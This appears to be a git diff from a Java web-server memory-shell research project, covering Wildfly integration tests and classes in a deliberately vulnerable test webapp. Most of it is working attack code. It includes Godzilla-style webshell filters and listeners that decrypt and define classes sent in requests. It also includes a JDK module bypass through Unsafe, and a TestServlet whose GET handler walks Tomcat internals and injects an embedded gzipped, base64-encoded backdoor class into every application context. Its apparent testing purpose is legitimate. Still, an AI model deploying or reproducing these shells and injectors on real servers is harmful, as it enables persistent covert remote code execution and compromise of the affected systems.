Opcodes.V1_6, packer); } - - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java index 0e8397a4..5d45f553 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java @@ -51,16 +51,15 @@ public class Wildfly9ContainerTest { ); } + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { testShellInjectAssertOk(getUrl(container), Server.UNDERTOW, shellType, shellTool, Opcodes.V1_6, packer); } - - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } } diff --git a/vul-webapp-jakarta/src/main/java/ErrorHandler.java b/vul-webapp-jakarta/src/main/java/ErrorHandler.java index 007cc8f4..2acb366b 100644 --- a/vul-webapp-jakarta/src/main/java/ErrorHandler.java +++ b/vul-webapp-jakarta/src/main/java/ErrorHandler.java @@ -1,25 +1,27 @@ -import jakarta.servlet.Filter; -import jakarta.servlet.FilterChain; -import jakarta.servlet.ServletException; -import jakarta.servlet.ServletRequest; -import jakarta.servlet.ServletResponse; +import jakarta.servlet.*; import jakarta.servlet.http.HttpServletRequest; import jakarta.servlet.http.HttpServletResponse; import jakarta.servlet.http.HttpSession; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.lang.reflect.Field; import java.lang.reflect.Method; -import javax.crypto.Cipher; -import javax.crypto.spec.SecretKeySpec; public class ErrorHandler extends ClassLoader implements Filter { + public static boolean isBypassModule; + + static { + byPassJdkModule(); + } + public String key = "7b74f5d44e20fd71"; public String pass = "passFilter"; public String md5 = "6DA9A394180B0155C7CC6714A0B2179E"; public String headerName = "User-Agent"; public String headerValue = "test"; - public static boolean isBypassModule; public ErrorHandler() { } @@ -28,6 +30,66 @@ public class ErrorHandler extends ClassLoader implements Filter { super(var1); } + public static String base64Encode(byte[] bs) throws Exception { + String value = null; + + try { + Class base64 = Class.forName("java.util.Base64"); + Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); + } catch (Exception var61) { + try { + Class base64 = Class.forName("sun.misc.BASE64Encoder"); + Object encoder = base64.newInstance(); + value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); + } catch (Exception var5) { + } + } + + return value; + } + + public static byte[] base64Decode(String bs) { + byte[] value = null; + + try { + Class base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var61) { + try { + Class base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception var5) { + } + } + + return value; + } + + public static Object byPassJdkModule() { + Boolean var0 = false; + + try { + Class var1 = Class.forName("sun.misc.Unsafe"); + Field var2 = var1.getDeclaredField("theUnsafe"); + var2.setAccessible(true); + Object var3 = var2.get((Object) null); + Method var4 = Class.class.getMethod("getModule"); + Object var5 = var4.invoke(Object.class, (Object[]) null); + Method var6 = var3.getClass().getMethod("objectFieldOffset", Field.class); + Field var7 = Class.class.getDeclaredField("module"); + Long var8 = (Long) var6.invoke(var3, var7); + Method var9 = var3.getClass().getMethod("getAndSetObject", Object.class, Long.TYPE, Object.class); + var9.invoke(var3, ErrorHandler.class, var8, var5); + var0 = true; + } catch (Exception var10) { + } + + return var0; + } + public Class Q(byte[] cb) { return super.defineClass(cb, 0, cb.length); } @@ -44,8 +106,8 @@ public class ErrorHandler extends ClassLoader implements Filter { @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException { - HttpServletRequest request = (HttpServletRequest)servletRequest; - HttpServletResponse response = (HttpServletResponse)servletResponse; + HttpServletRequest request = (HttpServletRequest) servletRequest; + HttpServletResponse response = (HttpServletResponse) servletResponse; try { if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) { @@ -60,7 +122,7 @@ public class ErrorHandler extends ClassLoader implements Filter { Object f; try { - f = ((Class)session.getAttribute("payload")).newInstance(); + f = ((Class) session.getAttribute("payload")).newInstance(); } catch (IllegalAccessException | InstantiationException e) { throw new RuntimeException(e); } @@ -80,68 +142,4 @@ public class ErrorHandler extends ClassLoader implements Filter { } } - - public static String base64Encode(byte[] bs) throws Exception { - String value = null; - - try { - Class base64 = Class.forName("java.util.Base64"); - Object encoder = base64.getMethod("getEncoder", (Class[])null).invoke(base64, (Object[])null); - value = (String)encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); - } catch (Exception var61) { - try { - Class base64 = Class.forName("sun.misc.BASE64Encoder"); - Object encoder = base64.newInstance(); - value = (String)encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); - } catch (Exception var5) { - } - } - - return value; - } - - public static byte[] base64Decode(String bs) { - byte[] value = null; - - try { - Class base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[])null).invoke(base64, (Object[])null); - value = (byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var61) { - try { - Class base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[])decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } catch (Exception var5) { - } - } - - return value; - } - - public static Object byPassJdkModule() { - Boolean var0 = false; - - try { - Class var1 = Class.forName("sun.misc.Unsafe"); - Field var2 = var1.getDeclaredField("theUnsafe"); - var2.setAccessible(true); - Object var3 = var2.get((Object)null); - Method var4 = Class.class.getMethod("getModule"); - Object var5 = var4.invoke(Object.class, (Object[])null); - Method var6 = var3.getClass().getMethod("objectFieldOffset", Field.class); - Field var7 = Class.class.getDeclaredField("module"); - Long var8 = (Long)var6.invoke(var3, var7); - Method var9 = var3.getClass().getMethod("getAndSetObject", Object.class, Long.TYPE, Object.class); - var9.invoke(var3, ErrorHandler.class, var8, var5); - var0 = true; - } catch (Exception var10) { - } - - return var0; - } - - static { - byPassJdkModule(); - } } diff --git a/vul-webapp-jakarta/src/main/java/TestServlet.java b/vul-webapp-jakarta/src/main/java/TestServlet.java index 4c3fd75d..f186444f 100644 --- a/vul-webapp-jakarta/src/main/java/TestServlet.java +++ b/vul-webapp-jakarta/src/main/java/TestServlet.java @@ -2,6 +2,7 @@ import jakarta.servlet.ServletException; import jakarta.servlet.http.HttpServlet; import jakarta.servlet.http.HttpServletRequest; import jakarta.servlet.http.HttpServletResponse; + import java.io.IOException; /** diff --git a/vul-webapp-jakarta/src/main/webapp/WEB-INF/web.xml b/vul-webapp-jakarta/src/main/webapp/WEB-INF/web.xml index b691addb..97e30de1 100644 --- a/vul-webapp-jakarta/src/main/webapp/WEB-INF/web.xml +++ b/vul-webapp-jakarta/src/main/webapp/WEB-INF/web.xml @@ -1,7 +1,7 @@ - diff --git a/vul-webapp/src/main/java/ErrorFilter.java b/vul-webapp/src/main/java/ErrorFilter.java index 803a1cea..169f6dce 100644 --- a/vul-webapp/src/main/java/ErrorFilter.java +++ b/vul-webapp/src/main/java/ErrorFilter.java @@ -1,4 +1,3 @@ - import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import javax.servlet.*; @@ -26,6 +25,44 @@ public class ErrorFilter extends ClassLoader implements Filter { super(var1); } + public static String base64Encode(byte[] bs) throws Exception { + String value = null; + + try { + Class base64 = Class.forName("java.util.Base64"); + Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); + } catch (Exception var61) { + try { + Class base64 = Class.forName("sun.misc.BASE64Encoder"); + Object encoder = base64.newInstance(); + value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); + } catch (Exception var5) { + } + } + + return value; + } + + public static byte[] base64Decode(String bs) { + byte[] value = null; + + try { + Class base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var61) { + try { + Class base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception var5) { + } + } + + return value; + } + public Class Q(byte[] cb) { return super.defineClass(cb, 0, cb.length); } @@ -88,42 +125,4 @@ public class ErrorFilter extends ClassLoader implements Filter { public void destroy() { } - - public static String base64Encode(byte[] bs) throws Exception { - String value = null; - - try { - Class base64 = Class.forName("java.util.Base64"); - Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); - } catch (Exception var61) { - try { - Class base64 = Class.forName("sun.misc.BASE64Encoder"); - Object encoder = base64.newInstance(); - value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); - } catch (Exception var5) { - } - } - - return value; - } - - public static byte[] base64Decode(String bs) { - byte[] value = null; - - try { - Class base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var61) { - try { - Class base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } catch (Exception var5) { - } - } - - return value; - } } diff --git a/vul-webapp/src/main/java/ErrorListener.java b/vul-webapp/src/main/java/ErrorListener.java index 394650c3..63456a71 100644 --- a/vul-webapp/src/main/java/ErrorListener.java +++ b/vul-webapp/src/main/java/ErrorListener.java @@ -1,5 +1,3 @@ -import java.io.ByteArrayOutputStream; -import java.lang.reflect.Field; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import javax.servlet.ServletRequestEvent; @@ -7,6 +5,8 @@ import javax.servlet.ServletRequestListener; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpSession; +import java.io.ByteArrayOutputStream; +import java.lang.reflect.Field; public class ErrorListener extends ClassLoader implements ServletRequestListener { public String md5 = "4B9B4A9EEB3F82A06A5D643C57E87B54"; @@ -45,13 +45,13 @@ public class ErrorListener extends ClassLoader implements ServletRequestListener String value = null; try { Class base64 = Class.forName("java.util.Base64"); - Object encoder = base64.getMethod("getEncoder", (Class[])null).invoke(base64, (Object[])null); - value = (String)encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); + Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); } catch (Exception var61) { try { Class base64 = Class.forName("sun.misc.BASE64Encoder"); Object encoder = base64.newInstance(); - value = (String)encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); + value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); } catch (Exception var5) { } } @@ -64,13 +64,13 @@ public class ErrorListener extends ClassLoader implements ServletRequestListener try { Class base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[])null).invoke(base64, (Object[])null); - value = (byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); } catch (Exception var61) { try { Class base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); - value = (byte[])decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); } catch (Exception var5) { } } @@ -98,7 +98,7 @@ public class ErrorListener extends ClassLoader implements ServletRequestListener @Override public void requestInitialized(ServletRequestEvent servletRequestEvent) { - HttpServletRequest request = (HttpServletRequest)servletRequestEvent.getServletRequest(); + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); try { if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) { @@ -111,7 +111,7 @@ public class ErrorListener extends ClassLoader implements ServletRequestListener } else { request.setAttribute("parameters", data); ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - Object f = ((Class)session.getAttribute("payload")).newInstance(); + Object f = ((Class) session.getAttribute("payload")).newInstance(); f.equals(arrOut); f.equals(request); response.getWriter().write(this.md5.substring(0, 16)); @@ -130,9 +130,9 @@ public class ErrorListener extends ClassLoader implements ServletRequestListener HttpServletResponse response = null; try { - response = (HttpServletResponse)getFieldValue(getFieldValue(request, "request"), "response"); + response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response"); } catch (Exception var4) { - response = (HttpServletResponse)getFieldValue(request, "response"); + response = (HttpServletResponse) getFieldValue(request, "response"); } return response; diff --git a/vul-webapp/src/main/java/TestServlet.java b/vul-webapp/src/main/java/TestServlet.java index 60d1dc55..35cfe2bb 100644 --- a/vul-webapp/src/main/java/TestServlet.java +++ b/vul-webapp/src/main/java/TestServlet.java @@ -2,7 +2,18 @@ import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; +import java.util.Map; +import java.util.zip.GZIPInputStream; /** * @author ReaJason @@ -10,13 +21,295 @@ import java.io.IOException; */ public class TestServlet extends HttpServlet { + static Object getFV(Object obj, String fieldName) throws Exception { + try { + Field field = getF(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } catch (Exception var3) { + return null; + } + } + + static Field getF(Object obj, String fieldName) throws NoSuchFieldException { + for (Class clazz = obj.getClass(); clazz != null; clazz = clazz.getSuperclass()) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException var3) { + } + } + + throw new NoSuchFieldException(fieldName); + } + + public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { + Field field = getF(obj, fieldName); + field.set(obj, value); + } + + static byte[] decodeBase64(String base64Str) throws Exception { + try { + Class decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception var4) { + Class decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke((Object) null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream gzipInputStream = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + + int n; + while ((n = gzipInputStream.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + + return out.toByteArray(); + } + + public static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (Method value : methods) { + if (value.getName().equals(methodName) && value.getParameterTypes().length == 0) { + method = value; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } + + public String getUrlPattern() { + return "/*"; + } + + public String getClassName() { + return "com.google.gso.sLUOL.ErrorHandler"; + } + + public String getBase64String() { + return "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"; + } + + public void addListener(Object context, Object listener) throws Exception { + if (!this.isInjected(context, this.getClassName())) { + String filedName = "applicationEventListenersObjects"; + Object applicationEventListenersObjects = getFV(context, filedName); + if (applicationEventListenersObjects == null) { + filedName = "applicationEventListenersInstances"; + applicationEventListenersObjects = getFV(context, filedName); + } + if (applicationEventListenersObjects != null) { + Object[] appListeners = (Object[]) applicationEventListenersObjects; + if (appListeners != null) { + List appListenerList = new ArrayList(Arrays.asList(appListeners)); + appListenerList.add(listener); + setFieldValue(context, filedName, appListenerList.toArray()); + } + } else if (getFV(context, "applicationEventListenersList") != null) { + List appListeners = (List) getFV(context, "applicationEventListenersList"); + if (appListeners != null) { + appListeners.add(listener); + } + } + } + } + + public boolean isInjected(Object context, String evilClassName) throws Exception { + Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners"); + List listeners = Arrays.asList(objects); + + for (Object o : new ArrayList(listeners)) { + if (o.getClass().getName().contains(evilClassName)) { + return true; + } + } + + return false; + } + + public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); + + try { + for (Thread thread : threads) { + if (thread.getName().contains("ContainerBackgroundProcessor")) { + Map childrenMap = (Map) this.getFieldValue(this.getFieldValue(this.getFieldValue(thread, "target"), "this$0"), "children"); + + for (Object key : childrenMap.keySet()) { + Map children = (Map) this.getFieldValue(childrenMap.get(key), "children"); + + for (Object key1 : children.keySet()) { + Object context = children.get(key1); + if (context != null && context.getClass().getName().contains("StandardContext")) { + contexts.add(context); + } + } + } + } + } + + return contexts; + } catch (Exception e) { + throw new RuntimeException(e); + } + } + + private Object getFilter(Object context) { + Object filter = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + + try { + filter = classLoader.loadClass(this.getClassName()); + } catch (Exception var9) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(this.getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + filter = clazz.newInstance(); + } catch (Throwable e1) { + e1.printStackTrace(); + } + } + + return filter; + } + + public void addFilter(Object context, Object filter) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException { + String filterClassName = this.getClassName(); + + try { + if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{filterClassName}) != null) { + return; + } + } catch (Exception var10) { + } + + Object filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance(); + Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance(); + + try { + invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName}); + invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName}); + invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); + invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName}); + invokeMethod(filterMap, "setDispatcher", new Class[]{String.class}, new Object[]{"REQUEST"}); + invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{this.getUrlPattern()}); + Constructor[] constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors(); + + try { + invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); + } catch (Exception var9) { + invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); + } + + constructors[0].setAccessible(true); + + try { + Object filterConfig = constructors[0].newInstance(context, filterDef); + Map filterConfigs = (Map) this.getFieldValue(context, "filterConfigs"); + filterConfigs.put(filterClassName, filterConfig); + } catch (Exception e) { + if (!(e.getCause() instanceof ClassNotFoundException)) { + throw e; + } + } + } catch (Exception var12) { + } + + } + @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { - + try { + List context = getContext(); + for (Object o : context) { + Object filter = getFilter(o); + addListener(o, filter); + } + } catch (IllegalAccessException e) { + throw new RuntimeException(e); + } catch (NoSuchMethodException e) { + throw new RuntimeException(e); + } catch (InvocationTargetException e) { + throw new RuntimeException(e); + } catch (ClassNotFoundException e) { + throw new RuntimeException(e); + } catch (InstantiationException e) { + throw new RuntimeException(e); + } catch (Exception e) { + throw new RuntimeException(e); + } } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { } + + @SuppressWarnings("all") + public Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } }